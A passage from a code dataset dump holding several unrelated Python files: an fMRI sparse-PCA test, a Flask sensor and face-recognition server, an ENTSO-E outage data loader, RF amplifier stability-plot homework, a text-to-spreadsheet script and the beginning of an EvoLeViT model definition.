_make_test_data(rng=None, n_subjects=8, noisy=False):\n if rng is None:\n rng = np.random.RandomState(0)\n shape = (20, 20, 1)\n affine = np.eye(4)\n components = _make_components(shape)\n if noisy: # Creating noisy non positive data\n components[rng.randn(*components.shape) > .8] *= -5.\n\n for mp in components:\n assert_less_equal(mp.max(), -mp.min()) # Goal met ?\n\n # Create a \"multi-subject\" dataset\n data = _make_data_from_components(components, affine, shape, rng=rng,\n n_subjects=n_subjects)\n mask_img = nibabel.Nifti1Image(np.ones(shape, dtype=np.int8), affine)\n return data, mask_img, components, rng\n\n\n@pytest.mark.parametrize(\"backend\", backends)\ndef test_sparse_pca(backend):\n data, mask_img, components, rng = _make_test_data(n_subjects=10)\n sparse_pca = SpcaFmri(n_components=4, random_state=0,\n mask=mask_img,\n backend=backend,\n reduction=2,\n smoothing_fwhm=0., n_epochs=3, alpha=0.01)\n sparse_pca.fit(data)\n maps = sparse_pca.masker_. \\\n inverse_transform(sparse_pca.components_).get_data()\n maps = np.reshape(np.rollaxis(maps, 3, 0), (4, 400))\n\n S = np.sqrt(np.sum(components ** 2, axis=1))\n S[S == 0] = 1\n components /= S[:, np.newaxis]\n\n S = np.sqrt(np.sum(maps ** 2, axis=1))\n S[S == 0] = 1\n maps /= S[:, np.newaxis]\n\n G = np.abs(components.dot(maps.T))\n recovered_maps = np.sum(G > 0.95)\n assert(recovered_maps >= 4)\n\n # Smoke test n_epochs > 1\n sparse_pca = SpcaFmri(n_components=4, random_state=0,\n mask=mask_img,\n smoothing_fwhm=0., n_epochs=2, alpha=1)\n sparse_pca.fit(data)\n\n # Smoke test reduction_ratio < 1\n sparse_pca = SpcaFmri(n_components=4, random_state=0,\n reduction=2,\n mask=mask_img,\n smoothing_fwhm=0., n_epochs=1, alpha=1)\n sparse_pca.fit(data)\n\n\ndef test_component_sign():\n # Regression test\n # We should have a heuristic that flips the sign of components in\n # DictLearning to have more positive values than negative values, for\n # instance by making sure that the largest value is positive.\n\n data, mask_img, components, rng = _make_test_data(n_subjects=2, noisy=True)\n for mp in components:\n assert_less_equal(-mp.min(), mp.max())\n\n sparse_pca = SpcaFmri(n_components=4, random_state=rng,\n mask=mask_img,\n smoothing_fwhm=0.)\n sparse_pca.fit(data)\n for mp in iter_img(sparse_pca.masker_.inverse_transform(\n sparse_pca.components_)):\n mp = mp.get_data()\n assert_less_equal(np.sum(mp[mp <= 0]), np.sum(mp[mp > 0]))\n","sub_path":"modl/tests/test_spca_fmri.py","file_name":"test_spca_fmri.py","file_ext":"py","file_size_in_byte":4418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"514797334","text":" # USAGE\n# python webstreaming.py --ip 0.0.0.0 --port 8000\n\n# import the necessary packages\nfrom imutils.video import VideoStream\nfrom imutils.video import FPS\nfrom flask import Flask, render_template, session, request, \\\n copy_current_request_context, Response\nfrom flask_socketio import SocketIO, emit, join_room, leave_room, \\\n close_room, rooms, disconnect\nimport threading\nimport argparse\nimport datetime\nimport imutils\nimport time\nimport cv2\nimport uuid\nimport sqlite3\nimport json\nfrom face import datagenerator, datatrainer, datarecognitior\nimport base64\nimport numpy as np\nfrom sensorlib import tempandhumldty as temphum, magiccup as magiccups, \\\n buttonled as button, FlameSensor as flameandbuzzer, ReedSwitchSensor as reedswitchled, TouchSensor as touchlaser, \\\n PIR as pir, Avoidance, Tracking, PhotoInterrupter as photointerrupter, Rotary\n\n# initialize the output frame and a lock used to ensure thread-safe\n# exchanges of the output frames (useful for multiple browsers/tabs\n# are viewing tthe stream)\noutputFrame = None\nlock = threading.Lock()\nasync_mode = None\n# initialize a flask object\napp = Flask(__name__)\nsocketio = SocketIO(app, async_mode=async_mode)\n# initialize the video stream and allow the camera sensor to\n# warmup\n#vs = VideoStream(usePiCamera=True).start()\nvs = VideoStream(src=0).start()\ntime.sleep(2.0)\n\n# start the FPS counter\nfps = FPS().start()\ncount = None\nids = None\n\n@app.route(\"/\")\ndef index():\n # return the rendered template\n return render_template(\"index.html\", async_mode=socketio.async_mode)\n\n@socketio.on('connect')\ndef connect():\n datarecognitior.encodings()\n emit('sid_response', {'data': request.sid, 'count': 0})\n\n@app.route(\"/video_feed\")\ndef video_feed():\n # return the response generated along with the specific media\n # type (mime type)\n\n return Response(generate(),\n mimetype = \"multipart/x-mixed-replace; boundary=frame\")\n\n@app.route(\"/data_generate_face//\")\ndef data_generate_face(sid, persion_id):\n # return the response generated along with the specific media\n # type (mime type)\n return Response(generate_face(persion_id, sid),\n mimetype = \"multipart/x-mixed-replace; boundary=frame\")\n\n@app.route(\"/recognition/\")\ndef recognition(sid):\n # return the response generated along with the specific media\n # type (mime type)\n return Response(generate_recognition(sid),\n mimetype = \"multipart/x-mixed-replace; boundary=frame\")\n\n@socketio.on('tempandhumldty')\ndef tempandhumldty():\n temphum.Enabled = True\n while temphum.Enabled:\n result = temphum.read_dht11_dat()\n if result:\n humidity, temperature = result\n emit('tempandhumldty_response', {'data': { 'humidity': humidity, 'temperature': temperature}, 'count': 0})\n time.sleep(1)\n\n@socketio.on('buttonled')\ndef buttonledfunction(message):\n if button.Enabled:\n button.Enabled = False\n button.sensorOff()\n else:\n button.Enabled = True\n if \"btnpin\" in message:\n button.BtnPin = message['btnpin']\n if \"ledpin\" in message:\n button.LedPin = message['ledpin']\n button.turnOnOffLef()\n emit('buttonled_response', {'data': { 'flagLed': button.Enabled}, 'count': 0})\n \n@socketio.on('reedswitchled')\ndef reedswitchledfunction(message):\n if reedswitchled.Enabled:\n reedswitchled.Enabled = False\n reedswitchled.sensorOff()\n else:\n reedswitchled.Enabled = True\n if \"reedpin\" in message:\n reedswitchled.ReedPin = message['reedpin']\n if \"ledpin\" in message:\n reedswitchled.LedPin = message['ledpin']\n reedswitchled.detectMagnetic()\n emit('reedswitchled_response', {'data': { 'flagUse': reedswitchled.Enabled}, 'count': 0})\n \n@socketio.on('touchlaser')\ndef touchlaserfunction(message):\n if touchlaser.Enabled:\n touchlaser.Enabled = False\n touchlaser.sensorOff()\n else:\n touchlaser.Enabled = True\n emit('touchlaser_response', {'data': { 'flagUse': touchlaser.Enabled}, 'count': 0})\n if \"touchpin\" in message:\n touchlaser.TouchPin = message['touchpin']\n if \"laserpin\" in message:\n touchlaser.LazePin = message['laserpin']\n touchlaser.touchAndLaser()\n \n@socketio.on('flameandbuzzer')\ndef fireDetection(message):\n flagFire = False\n if flameandbuzzer.Enabled:\n flameandbuzzer.Enabled = False\n flameandbuzzer.sensorOff()\n emit('flameandbuzzer_response', {'data': { 'flagFire': flagFire}, 'count': 0, 'enable': flameandbuzzer.Enabled})\n else:\n flameandbuzzer.Enabled = True\n if \"flamepin\" in message:\n flameandbuzzer.FlamePin = message['flamepin']\n if \"soundpin\" in message:\n flameandbuzzer.SoundPin = message['soundpin']\n while flameandbuzzer.Enabled:\n result = flameandbuzzer.fireDetection()\n if result:\n flagFire = result\n emit('flameandbuzzer_response', {'data': { 'flagFire': flagFire}, 'count': 0, 'enable': flameandbuzzer.Enabled})\n time.sleep(1)\n\n@socketio.on('magiccups')\ndef magiccupsetup(message):\n\n if magiccups.Enabled:\n magiccups.Enabled = False\n magiccups.sensorOff()\n else:\n magiccups.Enabled = True\n if \"signpin\" in message:\n magiccups.MERCURY_SIG1 = message['signpin']\n if \"ledpin\" in message:\n magiccups.LED1 = message['ledpin']\n emit('magiccups_response', {'data': { 'flagMagiccups': magiccups.Enabled}, 'count': 0})\n magiccups.magiccups()\n\n@socketio.on('rotarysetup')\ndef rotarysetup(message):\n if Rotary.Enabled:\n Rotary.Enabled = False\n Rotary.sensorOff()\n else:\n Rotary.Enabled = True\n if \"RoAPin\" in message:\n Rotary.RoAPin = message['RoAPin']\n if \"RoBPin\" in message:\n Rotary.RoBPin = message['RoBPin']\n if \"RoSPin\" in message:\n Rotary.RoSPin = message['RoSPin']\n if \"LedPin\" in message:\n Rotary.LedPin = message['LedPin']\n emit('rotary_response', {'data': { 'flagRotary': Rotary.Enabled}, 'count': 0})\n Rotary.setupRotary()\n\n@socketio.on('pirsensor')\ndef pirsensor(message):\n\n if pir.Enabled:\n pir.Enabled = False\n pir.sensorOff()\n else:\n pir.Enabled = True\n if \"PIRPin\" in message:\n pir.PIRPin = message['PIRPin']\n if \"SoundPin\" in message:\n pir.SoundPin = message['SoundPin']\n emit('pirsensor_response', {'data': { 'flagPIR': pir.Enabled}, 'count': 0})\n pir.PIRSetup()\n\n@socketio.on('avoidsensor')\ndef avoidsensor(message):\n\n if Avoidance.Enabled:\n Avoidance.Enabled = False\n Avoidance.sensorOff()\n else:\n Avoidance.Enabled = True\n if \"ObstaclePin\" in message:\n Avoidance.ObstaclePin = message['ObstaclePin']\n if \"ledpin\" in message:\n Avoidance.LedPin = message['ledpin']\n emit('avoidsensor_response', {'data': { 'flagAvoid': Avoidance.Enabled}, 'count': 0})\n Avoidance.AvoidSetup()\n\n@socketio.on('trackingsensor')\ndef trackingsensor(message):\n\n if Tracking.Enabled:\n Tracking.Enabled = False\n Tracking.sensorOff()\n else:\n Tracking.Enabled = True\n if \"TrackPin\" in message:\n Tracking.TrackPin = message['TrackPin']\n if \"ledpin\" in message:\n Tracking.LedPin = message['ledpin']\n emit('trackingsensor_response', {'data': { 'flagTracking': Tracking.Enabled}, 'count': 0})\n Tracking.TrackingSetup()\n\n@socketio.on('photointerrupter')\ndef photointerruptersensor(message):\n\n if photointerrupter.Enabled:\n photointerrupter.Enabled = False\n photointerrupter.sensorOff()\n else:\n photointerrupter.Enabled = True\n if \"Ky10Pin\" in message:\n photointerrupter.Ky10Pin = message['Ky10Pin']\n if \"ledpin\" in message:\n photointerrupter.LedPin = message['ledpin']\n emit('photointerruptersensor_response', {'data': { 'flagPhotointerrupter': photointerrupter.Enabled}, 'count': 0})\n photointerrupter.Ky10Setup()\n\n@socketio.on('persion_add')\ndef persion_add(message):\n session['receive_count'] = session.get('receive_count', 0) + 1\n\n con = sqlite3.connect(\"sensor.db\")\n msg = None\n first_name = None\n last_name = None\n persion_id = None\n try:\n data = message['data']\n first_name = data['first_name']\n last_name = data['last_name']\n persion_id = data['persion_id']\n cur = con.cursor()\n if persion_id == '0':\n persion_id = str(uuid.uuid4()).replace('-','')\n cur.execute(\"INSERT INTO people (persion_id,first_name,last_name) VALUES (?,?,?)\",(persion_id,first_name,last_name) )\n else:\n cur.execute(\"UPDATE people set first_name = ? , last_name = ? WHERE persion_id = ?\",(first_name,last_name,persion_id) )\n con.commit()\n msg = \"success\"\n except:\n con.rollback()\n msg = \"error in operation\"\n finally:\n con.close()\n emit('persion_add_response',\n {'data': {'persion_id' : persion_id}, 'count': session['receive_count'], 'status': msg})\n\ndef detect_motion(frameCount):\n # grab global references to the video stream, output frame, and\n # lock variables\n global vs, outputFrame, lock\n\n total = 0\n\n # loop over frames from the video stream\n while True:\n # read the next frame from the video stream, resize it,\n # convert the frame to grayscale, and blur it\n # grab the frame from the threaded video stream and resize it\n # to 500px (to speedup processing)\n frame = vs.read()\n frame = imutils.resize(frame, width=500)\n\n # grab the current timestamp and draw it on the frame\n timestamp = datetime.datetime.now()\n cv2.putText(frame, timestamp.strftime(\n \"%A %d %B %Y %I:%M:%S%p\"), (10, frame.shape[0] - 10),\n cv2.FONT_HERSHEY_SIMPLEX, 0.35, (0, 0, 255), 1)\n\n # acquire the lock, set the output frame, and release the\n # lock\n with lock:\n outputFrame = frame.copy()\n\n fps.stop()\n \ndef generate():\n # grab global references to the output frame and lock variables\n global outputFrame, lock\n\n # loop over frames from the output stream\n while True:\n # wait until the lock is acquired\n with lock:\n # check if the output frame is available, otherwise skip\n # the iteration of the loop\n if outputFrame is None:\n continue\n\n # encode the frame in JPEG format\n (flag, encodedImage) = cv2.imencode(\".jpg\", outputFrame)\n\n # ensure the frame was successfully encoded\n if not flag:\n continue\n\n # yield the output frame in the byte format\n yield(b'--frame\\r\\n' b'Content-Type: image/jpeg\\r\\n\\r\\n' + \n bytearray(encodedImage) + b'\\r\\n')\n\ndef generate_face(persion_id, sid):\n # grab global references to the output frame and lock variables\n global outputFrame, lock, count, socketio\n count = 0\n con = sqlite3.connect(\"sensor.db\")\n cur = con.cursor()\n cur.execute(\"SELECT id FROM people WHERE persion_id = ?\",(persion_id, ) )\n p_data = cur.fetchone()\n (p_id,) = p_data\n con.close()\n\n while True:\n # wait until the lock is acquired\n with lock:\n count, imageFrame = datagenerator.data_generate_face(outputFrame.copy(), count, p_id, savetitem = True)\n # check if the output frame is available, otherwise skip\n # the iteration of the loop\n if imageFrame is None:\n continue\n\n # encode the frame in JPEG format\n (flag, encodedImage) = cv2.imencode(\".jpg\", imageFrame)\n\n # ensure the frame was successfully encoded\n if not flag:\n continue\n #wait for 'q' key was pressed and break from the loop\n if cv2.waitKey(1) & 0xff == ord(\"q\"):\n break\n if count == 10:\n break\n # yield the output frame in the byte format\n yield(b'--frame\\r\\n' b'Content-Type: image/jpeg\\r\\n\\r\\n' + \n bytearray(encodedImage) + b'\\r\\n')\n socketio.emit('socket_generate_face_finish',\n {'status': 'finish'}, room = sid) \n datatrainer.training()\n datarecognitior.encodings()\n\ndef generate_recognition(sid):\n # grab global references to the output frame and lock variables\n global outputFrame, lock, socketio\n ids = []\n while True:\n # wait until the lock is acquired\n with lock:\n ids, imageFrame = datarecognitior.recognition(outputFrame.copy())\n # check if the output frame is available, otherwise skip\n # the iteration of the loop\n if imageFrame is None:\n continue\n\n # encode the frame in JPEG format\n (flag, encodedImage) = cv2.imencode(\".jpg\", imageFrame)\n\n # ensure the frame was successfully encoded\n if not flag:\n continue\n #wait for 'q' key was pressed and break from the loop\n if cv2.waitKey(1) & 0xff == ord(\"q\"):\n break\n\n if len(np.unique(ids)) > 0:\n # yield the output frame in the byte format\n yield(b'--frame\\r\\n' b'Content-Type: image/jpeg\\r\\n\\r\\n' + \n bytearray(encodedImage) + b'\\r\\n')\n break\n\n # yield the output frame in the byte format\n yield(b'--frame\\r\\n' b'Content-Type: image/jpeg\\r\\n\\r\\n' + \n bytearray(encodedImage) + b'\\r\\n')\n rows = find_persion(ids)\n if len(rows) < len(ids):\n rows.append((\"Khách\", \"\"))\n jsondata = [{\"first_name\": x[0], \"last_name\": x[1]} for x in rows]\n socketio.emit('recognition_finish',\n {'data': jsondata, 'status': 'finish'}, room = sid)\n\ndef find_persion(ids):\n print(ids)\n con = sqlite3.connect(\"sensor.db\")\n cur = con.cursor()\n sql=\"select first_name, last_name from people where id in ({seq})\".format(\n seq=','.join(['?']*len(ids)))\n\n cur.execute(sql, ids.tolist() )\n rows = cur.fetchall()\n con.close()\n return rows\n\n# check to see if this is the main thread of execution\nif __name__ == '__main__':\n\n try:\n # construct the argument parser and parse command line arguments\n ap = argparse.ArgumentParser()\n ap.add_argument(\"-i\", \"--ip\", type=str, required=True,\n help=\"ip address of the device\")\n ap.add_argument(\"-o\", \"--port\", type=int, required=True,\n help=\"ephemeral port number of the server (1024 to 65535)\")\n ap.add_argument(\"-f\", \"--frame-count\", type=int, default=32,\n help=\"# of frames used to construct the background model\")\n args = vars(ap.parse_args())\n # start a thread that will perform motion detection\n t = threading.Thread(target=detect_motion, args=(\n args[\"frame_count\"],))\n t.daemon = True\n t.start()\n\n # start the flask app\n socketio.run(app, host=args[\"ip\"], port=args[\"port\"], debug=True,\n use_reloader=False)\n except KeyboardInterrupt:\n destroy()\n # release the video stream pointer\n vs.stop()\n # update the FPS counter\n fps.stop() ","sub_path":"flask/runserver.py","file_name":"runserver.py","file_ext":"py","file_size_in_byte":15373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"304961438","text":"\nimport pandas as pd\nimport os\nimport re\n#\nfrom .... import global_tools, global_var\nfrom . import paths, transcode\nfrom .assemble import assemble\n\n\ndef load(map_code = None):\n \"\"\"\n Loads the outages data provided by ENTSO-E\n in the given delivery zone.\n \n :param map_code: The delivery zone\n :type map_code: string\n :return: The outages data\n :rtype: pd.DataFrame\n \"\"\"\n \n df_path = paths.fpath_tmp.format(map_code = map_code,\n file = 'df',\n ) + '.csv'\n try:\n print('Load outages/entsoe - ', end = '')\n df = pd.read_csv(df_path,\n sep = ';',\n )\n df.loc[:,global_var.publication_dt_utc] = pd.to_datetime(df[global_var.publication_dt_utc])\n df.loc[:,global_var.outage_begin_dt_utc] = pd.to_datetime(df[global_var.outage_begin_dt_utc])\n df.loc[:,global_var.outage_end_dt_utc] = pd.to_datetime(df[global_var.outage_end_dt_utc])\n df.loc[:,global_var.publication_creation_dt_utc] = pd.to_datetime(df[global_var.publication_creation_dt_utc])\n print('Loaded') \n except FileNotFoundError:\n print('fail - FileNotFound')\n\n dikt_outages = {}\n list_paths = [(folder, fname)\n for (folder, list_subfolders, list_files) in os.walk(paths.folder_raw)\n for fname in list_files\n ]\n assert len(list_paths) > 0, ('Files not found.\\n'\n 'They can be downloaded with the ENTSOE SFTP share\\n'\n 'and stored in\\n'\n '{0}'.format(paths.folder_raw)\n )\n list_paths = sorted(list_paths, key = lambda x : x[1])\n for ii, (folder, fname) in enumerate(list_paths):\n if os.path.splitext(fname)[1] == '.csv':\n print('\\rRead {0:>3}/{1:>3} - {2:>25}'.format(ii,\n len(list_paths),\n fname,\n ),\n end = '',\n )\n df = pd.read_csv(os.path.join(folder,\n fname,\n ),\n encoding = 'UTF-8',\n sep = '\\t',\n decimal = '.',\n )\n df = df.rename(transcode.columns,\n axis = 1,\n )\n df.loc[:, global_var.geography_map_code] = df[global_var.geography_map_code].apply(transcode.map_code)\n df = df.loc[df[global_var.geography_map_code] == map_code]\n df[global_var.file_name] = os.path.basename(fname)\n # Localize and Convert\n for col in [global_var.publication_dt_utc,\n global_var.outage_begin_dt_utc,\n global_var.outage_end_dt_utc,\n ]:\n df.loc[:,col] = pd.to_datetime(df[col],\n format = '%Y/%m/%d %H:%M:%S',\n )\n df.loc[:,col] = df[[col, global_var.time_zone]].apply(lambda row : row[col].tz_localize(row[global_var.time_zone],\n ambiguous = True,\n ).tz_convert('UTC'),\n axis = 1,\n )\n dikt_id_creation_dt = df.groupby(global_var.publication_id)[global_var.publication_dt_utc].agg(min).to_dict()\n df[global_var.publication_creation_dt_utc] = df[global_var.publication_id].map(dikt_id_creation_dt)\n dikt_outages[fname] = df\n \n print('\\nConcatenate')\n df = pd.concat([dikt_outages[key] \n for key in dikt_outages.keys()\n ],\n axis = 0,\n sort = False,\n )\n df = df.reset_index(drop = True)\n df[global_var.capacity_available_gw] = df[global_var.capacity_available_mw]/1e3\n df.loc[:,global_var.producer_name] = global_var.producer_name_unknown\n df[global_var.commodity] = global_var.commodity_electricity\n \n print('Transcode')\n df.loc[:,global_var.unit_name] = df[global_var.unit_name].apply(global_tools.format_unit_name)\n df.loc[:,global_var.outage_type] = df[global_var.outage_type].replace(transcode.outage_type)\n df.loc[:,global_var.production_source] = df[global_var.production_source].astype(str).replace(transcode.production_source)\n df.loc[:,global_var.outage_status] = df[global_var.outage_status].astype(str).replace(transcode.outage_status)\n \n print('Assemble')\n df = assemble(df)\n \n print('Save')\n os.makedirs(os.path.dirname(df_path),\n exist_ok = True,\n )\n df.to_csv(df_path,\n sep = ';',\n index = False,\n )\n \n return df\n\n\n","sub_path":"pub_data_visualization/outages/load/entsoe/load.py","file_name":"load.py","file_ext":"py","file_size_in_byte":5789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"113990241","text":"#!/usr/bin/python\nimport indium\nimport matplotlib.pyplot as plt\n\ndef inputStabilityPlot( s_matrix ) :\n\tif not indium.isValidSMatrix( s_matrix ) :\n\t\traise indium.InvalidSMatrixException( )\n\tfig, ax = plt.subplots( )\n\tsc_circ = indium.plotSmithChartCircle( )\n\tsc_circ.set_edgecolor( 'blue' )\n\tsc_circ.set_facecolor( 'none' )\n\tinput_stab_circ = indium.plotInputStabilityCircle( s )\n\tinput_stab_circ.set_edgecolor( 'red' )\n\tinput_stab_circ.set_facecolor( 'none' )\n\tax.add_artist( sc_circ )\n\tax.add_artist( input_stab_circ )\n\tax.set_xlim( -3 , 3 )\n\tax.set_ylim( -3 , 3 )\n\treturn fig\n\ndef outputStabilityPlot( s_matrix ) :\n\tif not indium.isValidSMatrix( s_matrix ) :\n\t\traise indium.InvalidSMatrixException( )\n\tfig, ax = plt.subplots( )\n\tsc_circ = indium.plotSmithChartCircle( )\n\toutput_stab_circ = indium.plotOutputStabilityCircle( s )\n\toutput_stab_circ.set_edgecolor( 'red' )\n\toutput_stab_circ.set_facecolor( 'none' )\n\toutput_center = indium.outputStabilityCircleCenter( s )\n\toutput_radius = indium.outputStabilityCircleRadius( s )\n\tax.add_artist( sc_circ )\n\tax.add_artist( output_stab_circ )\n\tax.set_xlim( -3 , 3 )\n\tax.set_ylim( -3 , 3 )\n\treturn fig\n\nif __name__ == \"__main__\" :\n\t# Problem 3.7\n\ts_37_a = [ [ indium.polar_complex( 0.674 , -152 ) , indium.polar_complex( 0.075 , 6.2 ) ] , [ indium.polar_complex( 1.74 , 36.4 ) , indium.polar_complex( 0.6 , -92.6 ) ] ]\n\ts_37_b = [ [ indium.polar_complex( 0.385 , -55 ) , indium.polar_complex( 0.045 , 90 ) ] , [ indium.polar_complex( 2.7 , 78 ) , indium.polar_complex( 0.89 , -26.5 ) ] ]\n\ts_37_c = [ [ indium.polar_complex( 0.7 , -50 ) , indium.polar_complex( 0.27 , 75 ) ] , [ indium.polar_complex( 5 , 120 ) , indium.polar_complex( 0.6 , 80 ) ] ]\n\ts_37_matrices = [ s_37_a , s_37_b , s_37_c ]\n\tfor s_index in range( 0 , len( s_37_matrices ) ) :\n\t\ts = s_37_matrices[ s_index ]\n\t\tinputstab_fig = inputStabilityPlot( s )\n\t\tpart = \"\"\n\t\tif s_index == 0 :\n\t\t\tpart = \"a\"\n\t\telif s_index == 1 :\n\t\t\tpart = \"b\"\n\t\telse :\n\t\t\tpart = \"c\"\n\t\tstable = \"\"\n\t\tif indium.isUnconditionallyStable( s ) :\n\t\t\tstable = \" (Unconditionally Stable)\"\n\t\telse :\n\t\t\tstable = \" (Conditionally Stable)\"\n\t\tregion_of_stab = \"\"\n\t\tif indium.stableInInputStabilityCircle( s ) :\n\t\t\tregion_of_stab = \" (Stable in Input Stability Circle) \"\n\t\telse :\n\t\t\tregion_of_stab = \" (Stable outside of Input Stability Circle) \"\n\t\tinputstab_fig.suptitle( \"Input Plane - Problem 3.7 - Part \" + part + \"\\n\" + stable + region_of_stab )\n\t\tinputstab_fig.savefig( \"problem_3_7_part_\" + part + \"_input.png\" )\n\t\tdel inputstab_fig\n\tfor s_index in range( 0 , len( s_37_matrices ) ) :\n\t\ts = s_37_matrices[ s_index ]\n\t\toutputstab_fig = outputStabilityPlot( s )\n\t\tpart = \"\"\n\t\tif s_index == 0 :\n\t\t\tpart = \"a\"\n\t\telif s_index == 1 :\n\t\t\tpart = \"b\"\n\t\telse :\n\t\t\tpart = \"c\"\n\t\tstable = \"\"\n\t\tif indium.isUnconditionallyStable( s ) :\n\t\t\tstable = \" (Unconditionally Stable)\"\n\t\telse :\n\t\t\tstable = \" (Conditionally Stable)\"\n\t\tregion_of_stab = \"\"\n\t\tif indium.stableInOutputStabilityCircle( s ) :\n\t\t\tregion_of_stab = \" (Stable in Output Stability Circle) \"\n\t\telse :\n\t\t\tregion_of_stab = \" (Stable outside of Output Stability Circle) \"\n\t\toutputstab_fig.suptitle( \"Output Plane - Problem 3.7 - Part \" + part + \"\\n\" + stable + region_of_stab )\n\t\toutputstab_fig.savefig( \"problem_3_7_part_\" + part + \"_output.png\" )\n\t\tdel outputstab_fig\n\t# Problem 3.27\n\ts_3_27 = [ [ indium.polar_complex( 0.78 , -102 ) , indium.polar_complex( 0.063 , 46 ) ] , [ indium.polar_complex( 2.43 , 84 ) , indium.polar_complex( 0.7 , -57 ) ] ]\n\tsc_circ = indium.plotSmithChartCircle( )\n\tsc_circ.set_edgecolor( 'black' )\n\tsc_circ.set_facecolor( 'none' )\n\toutput_stab_circ = indium.plotOutputStabilityCircle( s_3_27 )\n\toutput_stab_circ.set_edgecolor( 'red' )\n\toutput_stab_circ.set_facecolor( 'none' )\n\tpwr_10db = indium.plotConstantPowerGainCircle( s_3_27 , 10.0 )\n\tpwr_10db.set_edgecolor( 'green' )\n\tpwr_10db.set_facecolor( 'none' )\n\tpwr_15db = indium.plotConstantPowerGainCircle( s_3_27 , 15.0 )\n\tpwr_15db.set_edgecolor( 'yellow' )\n\tpwr_15db.set_facecolor( 'none' )\n\tpwr_20db = indium.plotConstantPowerGainCircle( s_3_27 , 20.0 )\n\tpwr_20db.set_edgecolor( 'orange' )\n\tpwr_20db.set_facecolor( 'none' )\n\tpwr_40db = indium.plotConstantPowerGainCircle( s_3_27 , 40.0 )\n\tpwr_40db.set_edgecolor( 'blue' )\n\tpwr_40db.set_facecolor( 'none' )\n\tfig, ax = plt.subplots( )\n\tax.add_artist( sc_circ )\n\tax.add_artist( output_stab_circ )\n\tax.add_artist( pwr_10db )\n\tax.add_artist( pwr_15db )\n\tax.add_artist( pwr_20db )\n\tax.add_artist( pwr_40db )\n\tax.set_xlim( -1 , 1 )\n\tax.set_ylim( -1 , 1 )\n\tfig.savefig( \"problem_3_27_sc.png\" )\n","sub_path":"homework/gen_hw.py","file_name":"gen_hw.py","file_ext":"py","file_size_in_byte":4544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"545232101","text":"#!/usr/bin/env python3\n# text2sheet.py - Transfers each line of each file in the cwd to a spreadsheet file\n# where each column in the spreadsheet represents one file and each row represents \n# separate lines in the file.\n\nimport openpyxl, os\n\n# Create a spreadsheet.\nwb = openpyxl.Workbook()\nsheet = wb.active\nfile_column = 0\n\n# Create columns from files.\nfor filename in os.listdir(os.getcwd()):\n\tif not filename.endswith('.txt'):\n\t\tcontinue\n\tfile_column += 1\n\tworking_file = open(filename, 'r')\n\tfile_row = 1\n\tfor line in working_file.readlines():\n\t\t# Create rows from lines.\n\t\tsheet.cell(row=file_row, column= file_column).value = line\n\t\tfile_row += 1\n\tworking_file.close()\n\nwb.save('text2sheeeet.xlsx')\n","sub_path":"Books/Python/Automate the Boring Stuff With Python - Al Sweigart/exercise_answers/ch12/text2sheet.py","file_name":"text2sheet.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"399148015","text":"# encoding=utf-8\r\n# Copyright 2021 Huawei Technologies Co., Ltd\r\n#\r\n# Licensed under the Apache License, Version 2.0 (the \"License\");\r\n# you may not use this file except in compliance with the License.\r\n# You may obtain a copy of the License at\r\n#\r\n# http://www.apache.org/licenses/LICENSE-2.0\r\n#\r\n# Unless required by applicable law or agreed to in writing, software\r\n# distributed under the License is distributed on an \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n# See the License for the specific language governing permissions and\r\n# limitations under the License.\r\n\r\nimport torch\r\nif torch.__version__ >= '1.8':\n import torch_npu\nimport utils\r\nimport torch.nn as nn\r\n\r\nfrom timm.models.vision_transformer import trunc_normal_\r\nfrom timm.models.registry import register_model\r\n\r\nspecification = {\r\n 'EvoLeViT_128S_384': {\r\n 'C': '128_256_384', 'D': 16, 'N': '4_6_8', 'X': '2_3_4', 'drop_path': 0,\r\n 'weights': 'https://dl.fbaipublicfiles.com/LeViT/LeViT-128S-96703c44.pth'},\r\n 'EvoLeViT_128_384': {\r\n 'C': '128_256_384', 'D': 16, 'N': '4_8_12', 'X': '4_4_4', 'drop_path': 0,\r\n 'weights': 'https://dl.fbaipublicfiles.com/LeViT/LeViT-128-b88c2750.pth'},\r\n 'EvoLeViT_192_384': {\r\n 'C': '192_288_384', 'D': 32, 'N': '3_5_6', 'X': '4_4_4', 'drop_path': 0,\r\n 'weights': 'https://dl.fbaipublicfiles.com/LeViT/LeViT-192-92712e41.pth'},\r\n 'EvoLeViT_256_384': {\r\n 'C': '256_384_512', 'D': 32, 'N': '4_6_8', 'X': '4_4_4', 'drop_path': 0,\r\n 'weights': 'https://dl.fbaipublicfiles.com/LeViT/LeViT-256-13b5763e.pth'},\r\n 'EvoLeViT_384_384': {\r\n 'C': '384_512_768', 'D': 32, 'N': '6_9_12', 'X': '4_4_4', 'drop_path': 0.1,\r\n 'weights': 'https://dl.fbaipublicfiles.com/LeViT/LeViT-384-9bdaf2e2.pth'},\r\n}\r\n\r\nprune_ratio_list = {\r\n 'EvoLeViT_128S_384': [[1, 1, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5], [0.5, 0.5, 0.5]],\r\n 'EvoLeViT_128_384': [[1, 1, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5],\r\n [0.5, 0.5, 0.5]],\r\n 'EvoLeViT_192_384': [[1, 1, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5],\r\n [0.5, 0.5, 0.5]],\r\n 'EvoLeViT_256_384': [[1, 1, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5],\r\n [0.5, 0.5, 0.5]],\r\n 'EvoLeViT_384_384': [[1, 1, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5],\r\n [0.5, 0.5, 0.5]],\r\n}\r\n\r\n__all__ = [specification.keys()]\r\n\r\n\r\n@register_model\r\ndef EvoLeViT_128S_384(num_classes=1000, distillation=True,\r\n pretrained=False, fuse=False):\r\n return model_factory(**specification['EvoLeViT_128S_384'], num_classes=num_classes,\r\n distillation=distillation, 